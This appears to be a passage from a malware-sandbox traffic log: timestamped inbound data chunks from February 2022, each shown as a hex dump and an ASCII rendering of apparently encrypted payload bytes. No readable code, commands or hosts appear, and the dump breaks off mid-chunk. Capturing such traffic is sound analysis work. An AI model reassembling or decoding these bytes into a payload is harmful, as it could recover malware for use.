16 31 64 11 1f 94 1b 5b 2a f4 ab d0 3a 01 01 9b 30 e4 7d 31 41 3d 46 c0 8c ca 76 6c e5 aa 1c fe 5d fa 6f 8e 74 cd b4 76 
db 49 6b 3d 15 7f 28 ec a6 c8 35 b0 cb c9 4f e8 53 a5 10 05 48 45 0a 26 f1 f1 53 f6 ff f0 3b 3f 40 03 70 80 10 6e f8 8a ae 
b0 2f 9f 34 2f a9 09 12 0c 75 b9 5d 2e 88 10 3a a7 5c 
Data Ascii: acZg9!7PB>BfwJGpr6=\hEP3779Awr)nQxIY{iN-F6Jzr{@7@FF<Ac#7zaEE~1d[*:0}1A=Fvl]otvIk=(5OSHE&S;?
@pn/4/u].:\

2022-02-08 23:07:13 UTC 949 IN Data Raw: 8c 3d 20 85 8c 3d 20 85 8c 3d 20 85 8c 3d 72 85 ba 3d 42 85 8a 3d 7b 85 87 3d 71 85 aa 3d 51 85 c4 3d 3e 
85 b0 3d 1e 85 d5 3d 70 85 ba 3d 05 85 dd 3d 6d 85 fd 3d 1e 85 8d 3d 7f 85 ee 3d 1a 85 ce 3d 7c 85 a1 3d 0e 85 81 3d 
6b 85 ef 3d 1d 85 86 3d 6f 85 e9 3d 01 85 84 3d 64 85 ea 3d 10 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 48 85 d1 3
d 78 85 e0 3d 48 85 ed 3d 42 85 c0 3d 62 85 a1 3d 00 85 ce 3d 72 85 ba 3d 5a 85 93 3d 7a 85 fb 3d 1b 85 88 3d 3b 85 ea 
3d 5e 85 8f 3d 30 85 af 3d 53 85 ce 3d 3f 85 a2 3d 5a 85 c6 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 05 85 fa 
3d 35 85 cb 3d 03 85 c6 3d 09 85 eb 3d 29 85 85 3d 46 85 f1 3d 66 85 94 3d 08 85 fb 3d 7d 85 9c 3d 15 85 bc 3d 66 85 
cc 3d 07 85 af 3d 62 85 8f 3d 04 85 e0 3d 76 85 c0 3d 02 85 a8 3d 70 
Data Ascii: = = = =r=B={=q=Q=>==p==m====|==k==o==d=====H=x=H=B=b==r=Z=z==;=^=0=S=?=Z=W=W=W
=W==5===)=F=f==}==f==b==v==p

2022-02-08 23:07:13 UTC 951 IN Data Raw: 84 3d 26 85 e1 3d 54 85 93 3d 3b 85 e1 3d 36 85 eb 3d 36 85 eb 3d 65 85 a2 3d 2b 85 e5 3d 0b 85 80 3d 79 
85 f2 3d 16 85 80 3d 1b 85 8a 3d 1b 85 8a 3d 1b 85 8a 3d 4f 85 c6 3d 00 85 95 3d 53 85 b5 3d 36 85 c7 3d 44 85 a8 3d 
36 85 a5 3d 3c 85 a5 3d 31 85 af 3d 31 85 af 3d 31 85 af 3d 43 85 da 3d 2d 85 ae 3d 44 85 c3 3d 21 85 e3 3d 44 85 91 3d 
36 85 fe 3d 44 85 de 3d 44 85 de 3d 16 85 ab 3d 78 85 df 3d 11 85 b2 3d 74 85 92 3d 31 85 e0 3d 43 85 8f 3d 31 85 ae 3
d 3b 85 a4 3d 6b 85 d6 3d 04 85 b1 3d 76 85 d0 3d 1b 85 ea 3d 3b 85 ea 3d 3b 85 ea 3d 07 85 9a 3d 75 85 f5 3d 12 85 
87 3d 73 85 ea 3d 53 85 84 3d 32 85 e9 3d 57 85 c9 3d 22 85 a7 3d 49 85 c9 3d 26 85 be 3d 48 85 80 3d 48 85 80 3d 66 
85 ae 3d 48 85 ae 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 0f 
Data Ascii: =&=T=;=6=6=e=+==y=====O==S=6=D=6=<=1=1=1=C=-=D=!=D=6=D=D==x==t=1=C=1=;=k==v==;
=;==u==s=S=2=W="=I=&=H=H=f=H=B=B=B=B=

2022-02-08 23:07:13 UTC 953 IN Data Raw: 1b 7d 04 19 7e 0f 04 19 7e 0f 04 19 7e 0f 40 7c 1d 6a 2d 1e 78 18 2d 1e 78 18 6c 53 78 18 3c 1e 78 18 3c 1e 
78 18 71 53 57 7c 15 7c 2e 05 15 7c 2e 05 15 7c 2e 05 71 18 4a 61 5d 38 07 2c 10 75 27 48 74 59 07 31 0d 20 7e 31 0d 
20 7e 31 45 68 44 5c 28 52 37 2f 28 52 37 2f 28 52 37 2f 7b 52 42 2f 15 52 42 2f 58 52 2d 2f 36 52 2d 2f 62 52 58 2f 07 52 
58 2f 50 52 3d 2f 34 52 3d 2f 60 52 55 2f 15 52 55 2f 53 52 27 2f 3a 52 27 2f 69 52 46 2f 1d 52 46 2f 4e 52 33 2f 20 52 57 
2f 41 52 2e 2f 41 52 2e 2f 0c 52 41 2f 62 52 25 2f 03 52 5c 2f 03 52 5c 2f 57 52 29 2f 32 52 5a 2f 56 52 3b 2f 2f 52 3b 2f 
78 52 5e 2f 1c 52 30 2f 79 52 43 2f 1d 52 22 2f 64 52 22 2f 64 52 22 2f 30 52 4a 2f 45 52 38 2f 36 52 5c 2f 57 52 25 2f 57 
52 25 2f 57 52 25 2f 11 52 57 2f 78 52 33 2f 19 
Data Ascii: }~~~@|j-x-xlSx<x<xqSW||.|.|.qJa]8,u'HtY1 ~1 ~1EhD\(R7/(R7/(R7/{RB/RB/XR-/6R-/bRX/RX/PR=/4R=/`RU/RU
/SR'/:R'/iRF/RF/NR3/ RW/AR./AR./RA/bR%/R\/R\/WR)/2RZ/VR;//R;/xR^/R0/yRC/R"/dR"/dR"/0RJ/ER8/6R\/WR%/W
R%/WR%/RW/xR3/

2022-02-08 23:07:13 UTC 956 IN Data Raw: 5d 2f 21 52 5d 2f 55 52 3c 2f 78 52 75 2f 36 52 75 2f 36 52 75 2f 42 52 10 2f 6f 52 59 2f 21 52 59 2f 21 52 59 2f 
4a 52 37 2f 67 52 7e 2f 29 52 7e 2f 29 52 7e 2f 44 52 12 2f 69 52 5b 2f 27 52 5b 2f 27 52 5b 2f 4a 52 29 2f 67 52 60 2f 29 
52 60 2f 29 52 60 2f 5a 52 01 2f 77 52 48 2f 39 52 48 2f 39 52 48 2f 54 52 26 2f 79 52 6b 2f 37 52 6b 2f 37 52 6b 2f 54 52 
12 2f 79 52 55 2f 3b 52 55 2f 3b 52 55 2f 5c 52 39 2f 71 52 7c 2f 22 52 7c 2f 22 52 7c 2f 49 52 13 2f 22 52 3e 2f 6b 52 70 
2f 6b 52 70 2f 18 52 09 2f 6a 52 24 2f 39 52 7d 2f 39 52 7d 2f 5d 52 14 2f 2b 52 39 2f 66 52 6f 2f 66 52 6f 2f 17 52 1a 2f 6d 
52 37 2f 2f 52 78 2f 2f 52 78 2f 41 52 0b 2f 6c 52 51 2f 2d 52 51 2f 2d 52 51 2f 40 52 38 2f 6d 52 76 2f 37 52 76 2f 37 52 
76 2f 56 52 04 2f 7b 52 4d 2f 2a 
Data Ascii: ]/!R]/UR</xRu/6Ru/6Ru/BR/oRY/!RY/!RY/JR7/gR~/)R~/)R~/DR/iR[/'R[/'R[/JR)/gR`/)R`/)R`/ZR/wRH/9RH/9RH
/TR&/yRk/7Rk/7Rk/TR/yRU/;RU/;RU/\R9/qR|/"R|/"R|/IR/"R>/kRp/kRp/R/jR$/9R}/9R}/]R/+R9/fRo/fRo/R/mR7//Rx//Rx/AR/l
RQ/-RQ/-RQ/@R8/mRv/7Rv/7Rv/VR/{RM/*

2022-02-08 23:07:13 UTC 958 IN Data Raw: 5d 2f 58 4d 5d 2f 59 4d 5d 2f 59 4d 5d 2f a9 5a 5e af a8 5a 5e af ec 5a 5e af ec 5a 5e af ec 42 5d 2f ed 42 5d 
2f 90 42 5d 2f 90 42 5d 2f 80 5a 5e af 81 5a 5e af 36 5a 5e af 36 5a 5e af 32 7b 5d 2f 33 7b 5d 2f 31 7b 5d 2f 31 7b 5d 2f 
19 63 5e af 18 63 5e af 5d 63 5e af 5d 63 5e af 7d 42 5d 2f 7c 42 5d 2f 78 42 5d 2f 78 42 5d 2f 40 5a 5e af 41 5a 5e af 06 
5a 5e af 06 5a 5e af 4e 42 5d 2f 4f 42 5d 2f c8 42 5d 2f c8 42 5d 2f e0 63 5e af e1 63 5e af e4 63 5e af e4 63 5e af bc 7b 
5d 2f bd 7b 5d 2f f5 7b 5d 2f f5 7b 5d 2f c5 5a 5e af c4 5a 5e af c2 5a 5e af c2 5a 5e af aa 42 5d 2f ab 42 5d 2f 09 42 5d 2f 
09 42 5d 2f 71 5a 5e af 70 5a 5e af e1 5a 5e af e1 5a 5e af 69 42 5d 2f 68 42 5d 2f 21 42 5d 2f 21 42 5d 2f b9 5a 5e af b8 
5a 5e af 0b 5a 5e af 0b 5a 5e af a3 
Data Ascii: ]/XM]/YM]/YM]/Z^Z^Z^Z^B]/B]/B]/B]/Z^Z^6Z^6Z^2{]/3{]/1{]/1{]/c^c^]c^]c^}B]/|B]/xB]/xB]/@Z^AZ^Z^Z^NB
]/OB]/B]/B]/c^c^c^c^{]/{]/{]/{]/Z^Z^Z^Z^B]/B]/B]/B]/qZ^pZ^Z^Z^iB]/hB]/!B]/!B]/Z^Z^Z^Z^

2022-02-08 23:07:13 UTC 960 IN Data Raw: 5d 2f 28 58 5d 2f bf 58 5d 2f bf 58 5d 2f 27 79 5e af 26 79 5e af 35 79 5e af 35 79 5e af ad 64 5d 2f ac 64 5d 2f 
21 64 5d 2f 21 64 5d 2f 91 8b 5f af 90 8b 5f af a6 8b 5f af a6 8b 5f af 0e 96 5c 2f 0f 96 5c 2f 71 96 5c 2f 71 96 5c 2f d1 b7 
5f af d0 b7 5f af c4 b7 5f af c4 b7 5f af 7c aa 5c 2f 7d aa 5c 2f 2b aa 5c 2f 2b aa 5c 2f 83 8b 5f af 82 8b 5f af 97 8b 5f af 97 
8b 5f af 5f 96 5c 2f 5e 96 5c 2f 09 96 5c 2f 09 96 5c 2f d1 8b 5f af d0 8b 5f af 48 8b 5f af 48 8b 5f af a0 96 5c 2f a1 96 5c 2f 
2d 96 5c 2f 2d 96 5c 2f d5 8b 5f af d4 8b 5f af 4b 8b 5f af 4b 8b 5f af 43 95 5c 2f 42 95 5c 2f ea 95 5c 2f ea 95 5c 2f 5a b4 
5f af 5b b4 5f af 4d b4 5f af 4d b4 5f af 55 aa 5c 2f 54 aa 5c 2f 0c aa 5c 2f 0c aa 5c 2f b4 8b 5f af b5 8b 5f af a2 8b 5f af a2 
8b 5f af 8a 
Data Ascii: ]/(X]/X]/X]/'y^&y^5y^5y^d]/d]/!d]/!d]/____\/\/q\/q\/____|\/}\/+\/+\/_____\/^\/\/\/__H_H_\/\/-\/-\/__K_K_C\/B\/\/\/Z_[_
M_M_U\/T\/\/\/____

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:13 UTC 962 IN Data Raw: 5f af 87 81 5f af 2f 6e 5d 2f 2e 6e 5d 2f 68 6e 5d 2f 68 6e 5d 2f d8 81 5f af d9 81 5f af 9e 81 5f af 9e 81 5f af 26 
6e 5d 2f 27 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f ae 81 5f af af 81 5f af e5 81 5f af e5 81 5f af 2d 6e 5d 2f 2c 6e 5d 2f 67 6e 5d 
2f 67 6e 5d 2f b7 81 5f af b6 81 5f af f8 81 5f af f8 81 5f af 20 6e 5d 2f 21 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f 8e 81 5f af 8f 81 
5f af df 81 5f af df 81 5f af 37 6e 5d 2f 36 6e 5d 2f 60 6e 5d 2f 60 6e 5d 2f 90 81 5f af 91 81 5f af c6 81 5f af c6 81 5f af 3e 
6e 5d 2f 3f 6e 5d 2f 65 6e 5d 2f 65 6e 5d 2f 65 9e 5f af 64 9e 5f af 01 9e 5f af 01 9e 5f af 09 6e 5d 2f 08 6e 5d 2f 77 6e 5d 
2f 77 6e 5d 2f 67 9e 5f af 66 9e 5f af 67 9a 5f af 67 9a 5f af 7f 6a 5d 2f 7e 6a 5d 2f 7c 6e 5d 2f 7c 6e 5d 2f 54 9e 5f af 55 
9e 5f af 56 
Data Ascii: __/n]/.n]/hn]/hn]/____&n]/'n]/nn]/nn]/____-n]/,n]/gn]/gn]/____ n]/!n]/nn]/nn]/____7n]/6n]/`n]/`n]/____>n]/?n
]/en]/en]/e_d___n]/n]/wn]/wn]/g_f_g_g_j]/~j]/|n]/|n]/T_U_V

2022-02-08 23:07:13 UTC 964 IN Data Raw: 5f af f3 94 5f af eb 63 5d 2f ea 63 5d 2f e6 77 5d 2f e6 77 5d 2f ce 80 5f af cf 80 5f af d5 94 5f af d5 94 5f af ed 
63 5d 2f ec 63 5d 2f d7 77 5d 2f d7 77 5d 2f 87 80 5f af 86 80 5f af 87 98 5f af 87 98 5f af e7 6f 5d 2f e6 6f 5d 2f ef 77 5d 2f 
ef 77 5d 2f 9f 80 5f af 9e 80 5f af 94 98 5f af 94 98 5f af 14 6f 5d 2f 15 6f 5d 2f 19 77 5d 2f 19 77 5d 2f 89 80 5f af 88 80 5f 
af 92 98 5f af 92 98 5f af 32 6f 5d 2f 33 6f 5d 2f 08 77 5d 2f 08 77 5d 2f b0 80 5f af b1 80 5f af b0 9c 5f af b0 9c 5f af 78 6b 
5d 2f 79 6b 5d 2f 70 77 5d 2f 70 77 5d 2f a8 80 5f af a9 80 5f af a3 9c 5f af a3 9c 5f af 4b 6b 5d 2f 4a 6b 5d 2f 50 77 5d 2f 
50 77 5d 2f a8 80 5f af a9 80 5f af 92 9c 5f af 92 9c 5f af 82 64 5d 2f 83 64 5d 2f 82 44 5d 2f 82 44 5d 2f a2 bc 5f af a3 bc 
5f af aa 
Data Ascii: __c]/c]/w]/w]/____c]/c]/w]/w]/____o]/o]/w]/w]/____o]/o]/w]/w]/____2o]/3o]/w]/w]/____xk]/yk]/pw]/pw]/____Kk]/
Jk]/Pw]/Pw]/____d]/d]/D]/D]/__

2022-02-08 23:07:13 UTC 966 IN Data Raw: 42 2f c4 74 42 2f ac 74 2b 2f 81 74 42 2f ef 74 42 2f ef 74 42 2f 87 74 30 2f aa 74 52 2f cb 74 52 2f cb 74 52 2f 
a3 74 20 2f 8e 74 48 2f fc 74 48 2f fc 74 48 2f 94 74 3d 2f b9 74 55 2f cc 74 55 2f cc 74 55 2f a4 74 2c 2f 89 74 4d 2f e4 74 
4d 2f e4 74 4d 2f 8d 74 29 2f a0 74 40 2f c4 74 40 2f c4 74 40 2f ad 74 33 2f 80 74 5a 2f f3 74 5a 2f f3 74 5a 2f 9a 74 2e 2f 
b7 74 4d 2f df 74 4d 2f df 74 4d 2f b6 74 39 2f 9b 74 50 2f ef 74 50 2f ef 74 50 2f 85 74 31 2f a8 74 5b 2f d8 74 5b 2f d8 74 
5b 2f b3 74 3a 2f 9e 74 5d 2f fb 74 5d 2f fb 74 5d 2f 90 74 36 2f bd 74 5d 2f c7 74 5d 2f c7 74 5d 2f ac 74 33 2f 81 74 5a 2f 
ef 74 5a 2f ef 74 5a 2f 84 74 35 2f ef 74 18 2f 86 74 76 2f 86 74 76 2f ed 74 19 2f c0 74 72 2f b2 74 72 2f b2 74 72 2f d9 74 
0b 2f f4 74 60 2f 93 
Data Ascii: B/tB/t+/tB/tB/tB/t0/tR/tR/tR/t /tH/tH/tH/t=/tU/tU/tU/t,/tM/tM/tM/t)/t@/t@/t@/t3/tZ/tZ/tZ/t./tM/tM/tM/t9/tP/tP/tP/t1/t[
/t[/t[/t:/t]/t]/t]/t6/t]/t]/t]/t3/tZ/tZ/tZ/t5/t/tv/tv/t/tr/tr/tr/t/t`/

2022-02-08 23:07:13 UTC 968 IN Data Raw: 69 2f 94 74 79 2f 84 74 69 2f 94 74 79 2f 84 74 fb 2f 06 74 79 2f 84 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 
04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 eb 2f 16 74 fb 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 
06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 
74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 
db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 
Data Ascii: i/ty/ti/ty/t/ty/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/

2022-02-08 23:07:13 UTC 970 IN Data Raw: ed ff e1 8b 86 29 50 e4 e9 f7 04 21 2c 66 54 11 1c 06 57 10 1d 04 fe 77 7a ca 83 5c 51 9c 9a a2 af 7b f8 75 78 
ce 1e de d3 83 84 a8 a5 6f c1 62 6f e0 5c e0 ed ff 1c 29 24 76 9b 54 59 8c 8e ae a3 63 65 f7 fa d1 ac b0 bd 5f a7 40 4d 
a4 4b ed e0 e5 2c 39 34 56 d1 9b 96 09 3b 34 39 4c 84 a8 a5 6f 73 0c 01 3c e5 7e 73 d8 be be b3 43 7c 09 04 36 60 f4 f9 
d7 ce 67 6a ea a4 41 4c a6 fe 77 7a ca bf 48 45 b4 bd bf b2 41 f2 73 7e c2 ae 47 4a aa 5a e2 ef fb 6e 07 0a 2a 66 f6 fb d3 
f5 87 8a 31 86 5f 52 9a d5 6e 63 f8 ea 7b 76 d2 e6 7f 72 da b4 b8 b5 4f d1 9b 96 09 8f 58 55 94 a7 40 4d a4 06 d6 db 93 
09 d3 de 99 bc 49 44 b6 b5 4e 43 b8 83 5c 51 9c 18 dc d1 87 25 3e 33 58 03 d5 d8 95 6a f2 ff db a7 40 4d a4 38 35 38 4e 
23 3c 31 5c bd bf b2 41 c9 93 9e 19 e7 89 84 2d ca 
Data Ascii: )P!,fTWwz\Q{uxobo\)$vTYce_@MK,94V;49Los<~sC|6`gjALwzHEAs~GJZn*f1_Rnc{vrOXU@MID
NC\Q%>3Xj@M858N#<1\A-

2022-02-08 23:07:13 UTC 972 IN Data Raw: 22 12 08 17 bf 0d a3 4f 45 a1 30 4c a6 ea 65 b6 96 ca 93 db e0 67 02 ad 2c ef 27 e1 2e 1a db 36 cb 55 0c fd 
e1 90 8c b9 d4 b6 03 1a b6 03 4a 40 07 dd 2d 5b bd f8 b5 55 57 bd 54 95 a9 e0 56 e0 86 23 44 10 ca a2 e7 87 8c 2f 21 
7e 5f 44 c6 21 d0 47 53 bd 42 52 b8 c7 2f ed 62 9e 7d 78 4f 1d c3 ac 9c 3c b7 f4 b5 55 57 bd f1 9d 9e 33 9b 14 5c 46 e3 
6d d2 b2 88 53 8a 2b 55 22 33 0c e3 6d d2 b2 f4 c0 5a 42 92 6c 7a 8b 26 56 b4 f6 3e 1c 6b 95 bc 2d 71 70 dc 1e 20 e7 
99 61 73 85 79 16 17 34 fd b8 7c 8f e1 18 fd 71 75 33 f5 88 2d 5b bd f8 34 a6 f8 77 b3 ca 26 e3 04 32 5d b1 27 e1 2e 1a 
c5 e3 65 68 92 6c 7a 8b b8 c7 2f ed bf ef c4 5f bc 2d 71 70 26 56 b4 f6 83 5e 83 25 71 d9 ab 15 c3 7c 14 36 79 16 17 34 
25 94 01 d9 0e 88 ce 53 9c 3c b7 f4 6c ce b0 07 cd 2c d9 49 00 
Data Ascii: "OE0Leg,'.6UJ@-[UWTV#D/!~_D!GSBR/b}xO<UW3\FmS+U"3mZBlz&V>k-qp asy4|qu3-[4w&2]'.ehlz/_-qp
&V^%q|6y4%S<l,I

2022-02-08 23:07:13 UTC 974 IN Data Raw: d5 1e ee 8b 03 a3 81 e4 dd 12 44 21 4c 46 74 11 2c 16 75 10 2e 15 12 77 e0 bc 39 5c b6 c1 c7 a2 51 d8 10 75 
e4 ba bb de a9 5c cd a8 45 c6 07 62 ca 83 85 e0 d5 1e 4c 29 5c 5e 31 54 a6 d9 cb ae 49 cc 92 f7 fb 27 d5 b0 75 ee 25 40 
8e e5 88 ed cf 09 5c 39 7c 6e fe 9b 23 93 51 34 66 79 cd a8 45 c6 69 0c 16 31 1b 7e f2 a7 db be 69 fc 6c 09 1c 3e 91 f4 
fd 22 02 67 c0 8c 24 41 8c e6 12 77 e0 bc 2d 48 9e fd da bf 6b ff 16 73 e8 b0 22 47 80 ec 87 e2 d1 18 62 07 00 2c 93 f6 
f9 24 e2 87 1b b7 3a 5f b0 c4 0b 6e d2 97 1e 7b f8 a8 1a 7f f0 a4 dd b8 65 f6 fe 9b 23 93 3d 58 be cd 25 40 8e e5 b3 d6 
b9 44 b6 d3 b3 4b 2c 49 9c fe 2b 4e 92 f7 39 5c b6 c1 b9 dc ad 5a 5b 3e 72 67 b0 d5 bf 41 97 f2 f1 28 25 40 8e e5 50 35 
64 7a 59 3c 76 61 da bf 6b ff f6 93 33 8b ec 89 07 a5 f7 
Data Ascii: D!LFt,u.w9\Qu\EbL)\^1TI'u%@\9|n#Q4fyEi1~il>"g$Aw-Hks"Gb,$:_n{e#=X%@DK,I+N9\Z[>rgA(%@P5dz
Y<vak3

2022-02-08 23:07:13 UTC 976 IN Data Raw: ed c7 6b 84 86 ac b5 35 e9 c3 24 61 2c 06 44 31 1c 36 46 32 1d 37 88 9b 7a 50 de e6 51 7b 39 ff af 85 8c 9d 
78 52 c1 7b d3 f9 2d e1 a5 8f a2 a4 6f 45 bd 39 ed c7 34 79 24 0e ce fe 59 73 21 eb a3 89 93 00 fa d0 1d c9 bd 97 e6 c2 
4d 67 a7 2e e0 ca 14 49 34 1e 4b b4 96 bc 0e 5e 39 13 2d e1 a5 8f 7e 16 01 2b 9a 80 73 59 01 db b3 99 74 19 04 2e 95 
05 f9 d3 a8 ab 6a 40 e4 c1 4c 66 88 9b 7a 50 f6 da 45 6f 03 d8 b2 98 80 97 7e 54 e8 cb 4a 60 b9 3f ef c5 68 0b 0a 20 91 
03 fb d1 73 90 8a a0 d8 e3 52 78 ba b0 63 49 90 8f 76 5c 98 83 72 58 0d d1 b5 9f 4b b4 96 bc d6 ea 55 7f e6 c2 4d 67 d1 
63 db f1 db 6c de f4 f4 d9 44 6e fa d0 43 69 de e6 51 7b c5 7d d1 fb 1a 40 33 19 d7 66 d8 f2 99 0f ff d5 e6 c2 4d 67 0c 5d 
38 12 1e 46 31 1b 03 d8 b2 98 5b ac 9e b4 6f 82 84 ae 59 
Data Ascii: k5$a,D16F27zPQ{9xR{-oE94y$Ys!Mg.I4K^9-~+sYt.j@LfzPEo~TJ`?h sRxcIv\rXKUMgclDnCiQ{}@3fMg]8F1[oY

2022-02-08 23:07:13 UTC 978 IN Data Raw: 0c 26 64 8b 0c 26 64 e4 0c 26 64 21 0c 26 64 11 0c 26 64 10 0c 26 64 77 0c 26 64 5c 0c 26 64 a2 0c 26 64 75 
0c 26 64 de 0c 26 64 a8 0c 26 64 62 0c 26 64 e0 0c 26 64 29 0c 26 64 54 0c 26 64 ae 0c 26 64 f7 0c 26 64 b0 0c 26 64 
40 0c 26 64 ed 0c 26 64 39 0c 26 64 9b 0c 26 64 34 0c 26 64 a8 0c 26 64 0c 0c 26 64 7e 0c 26 64 be 0c 26 64 09 0c 26 
64 f4 0c 26 64 67 0c 26 64 41 0c 26 64 77 0c 26 64 48 0c 26 64 bf 0c 26 64 73 0c 26 64 47 0c 26 64 e2 0c 26 64 07 0c 26 
64 f6 0c 26 64 87 0c 26 64 5f 0c 26 64 6e 0c 26 64 7b 0c 26 64 7f 0c 26 64 b8 0c 26 64 9b 0c 26 64 58 0c 26 64 40 0c 26 
64 d6 0c 26 64 d3 0c 26 64 49 0c 26 64 4e 0c 26 64 5c 0c 26 64 dc 0c 26 64 3e 0c 26 64 d5 0c 26 64 f2 0c 26 64 40 0c 26 
64 35 0c 26 64 3c 0c 26 64 bf 0c 26 64 93 0c 26 64 89 0c 26 64 
Data Ascii: &d&d&d!&d&d&dw&d\&d&du&d&d&db&d&d)&dT&d&d&d&d@&d&d9&d&d4&d&d&d~&d&d&d&dg&dA&dw
&dH&d&ds&dG&d&d&d&d&d_&dn&d{&d&d&d&dX&d@&d&d&dI&dN&d\&d&d>&d&d&d@&d5&d<&d&d&d&d

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:13 UTC 980 IN Data Raw: 0c c7 64 01 0c ac 64 01 0c c3 64 01 0c 06 64 01 0c 36 64 01 0c 37 64 01 0c 50 64 01 0c 7b 64 01 0c 85 64 01 
0c 52 64 01 0c f9 64 01 0c 8f 64 01 0c 45 64 01 0c c7 64 01 0c 0e 64 01 0c 73 64 01 0c 89 64 01 0c d0 64 01 0c 97 64 01 
0c 67 64 01 0c ca 64 01 0c 1e 64 01 0c bc 64 01 0c 13 64 01 0c 8f 64 01 0c 2b 64 01 0c 59 64 01 0c 99 64 01 0c 2e 64 01 
0c d3 64 01 0c 40 64 01 0c 66 64 01 0c 50 64 01 0c 6f 64 01 0c 98 64 01 0c 54 64 01 0c 60 64 01 0c c5 64 01 0c 20 64 
01 0c d1 64 01 0c a0 64 01 0c 78 64 01 0c 49 64 01 0c 5c 64 01 0c 58 64 01 0c 9f 64 01 0c bc 64 01 0c 7f 64 01 0c 67 64 
01 0c f1 64 01 0c f4 64 01 0c 6e 64 01 0c 69 64 01 0c 7b 64 01 0c fb 64 01 0c 19 64 01 0c f2 64 01 0c d5 64 01 0c 67 64 
01 0c 12 64 01 0c 1b 64 01 0c 98 64 01 0c b4 64 01 0c ae 64 
Data Ascii: dddd6d7dPd{ddRdddEdddsddddgdddddd+dYdd.dd@dfdPdoddTd`dd dddxdId\dXddddgdddndid{dddddgddd
ddd

2022-02-08 23:07:13 UTC 982 IN Data Raw: 91 75 d7 2a 60 30 2d 86 cb 68 ce cd 58 6b fe ed 0d 91 88 40 fb fc 44 c8 6a 8a 46 3d 4f c6 a3 72 b3 11 89 b7 
64 da bc 91 e4 9e de 24 6b 3d 6f fa 22 67 d5 df 45 7c 3f 9a dd 72 c1 c7 3c b2 ee 04 3e c7 a2 85 2c 37 e4 08 8f a0 37 63 
49 59 b8 60 ae 06 2a 75 3b 9a 47 ca d0 e0 15 5f 0a b9 ab 8b 27 3a df d3 f4 1b 3f 9a dd 72 f6 14 99 ba 34 61 f3 33 ba 95 
8b 4a e2 0c e0 74 5b 2b 3d 05 ba 95 8b 4a 32 65 9c e7 12 ac fa 4b dc d1 4e 71 03 b2 56 3b 19 57 d4 0a 48 c0 b4 39 1b 
a2 f1 46 7f 13 11 31 14 a8 95 9f 95 56 89 3f 9d af 1d 14 d5 df 45 7c 90 50 5c 81 4e c4 db ed 35 96 6c 15 46 3d 4f c6 0d 4f 
ad c4 12 ac fa 4b 47 ca d0 e0 ac 78 d7 c8 19 57 d4 0a dc d1 4e 71 eb 02 eb 79 c3 32 19 fe 7c 11 ab 5b 7f 13 11 31 69 fe 
4d b3 a6 74 66 af df d3 f4 1b d8 20 04 e9 b1 6e a5 0b 6b 
Data Ascii: u*`0-hXk@DjF=Ord$k=o"gE|?r<>,77cIY`*u;G_':?r4a3Jt[+=J2eKNqV;WH9F1V?E|P\N5lF=OOKGxWNqy2|[1iMtf 
nk

2022-02-08 23:07:13 UTC 988 IN Data Raw: 28 1e 6f 0c 05 28 55 22 33 0c 64 01 0c 26 3c 69 44 56 6f 0c 05 28 21 7e 5f 44 64 01 0c 26 10 5d 60 6e 6f 0c 
05 28 0d 4a 7b 7c 64 01 0c 26 d4 d1 9c c6 6f 0c 05 28 c9 c6 87 d4 64 01 0c 26 f8 e5 b8 fe 6f 0c 05 28 e5 f2 a3 ec 64 01 
0c 26 8c b9 d4 b6 6f 0c 05 28 91 ae cf a4 64 01 0c 26 a0 8d f0 8e 6f 0c 05 28 bd 9a eb 9c 64 01 0c 26 1f ba 37 fd 6f 0c 05 
28 02 ad 2c ef 64 01 0c 26 33 8e 13 c5 6f 0c 05 28 2e 99 08 d7 64 01 0c 26 47 d2 7f 8d 6f 0c 05 28 5a c5 64 9f 64 01 0c 
26 6b e6 5b b5 6f 0c 05 28 76 f1 40 a7 64 01 0c 26 af 6a a7 1d 6f 0c 05 28 b2 7d bc 0f 64 01 0c 26 83 5e 83 25 6f 0c 05 
28 9e 49 98 37 64 01 0c 26 f7 02 ef 6d 6f 0c 05 28 ea 15 f4 7f 64 01 0c 26 db 36 cb 55 6f 0c 05 28 c6 21 d0 47 64 01 0c 
26 92 6c 7a 8b 6f 0c 05 28 8f 7b 61 99 64 01 0c 26 be 
Data Ascii: (o(U"3d&<iDVo(!~_Dd&]`no(J{|d&o(d&o(d&o(d&o(d&7o(,d&3o(.d&Go(Zdd&k[o(v@d&jo(}d&^%o(I7d&m
o(d&6Uo(!Gd&lzo({ad&

2022-02-08 23:07:13 UTC 990 IN Data Raw: 20 12 6d 0f 07 2b 5b 2b 3d 05 64 01 0c 26 2c 71 54 4e 6d 0f 07 2b 37 63 49 59 64 01 0c 26 08 49 78 7a 6d 0f 
07 2b 13 5b 65 6d 64 01 0c 26 f4 e1 bc f6 6d 0f 07 2b ef f3 a1 e1 64 01 0c 26 d0 d9 90 c2 6d 0f 07 2b cb cb 8d d5 64 01 
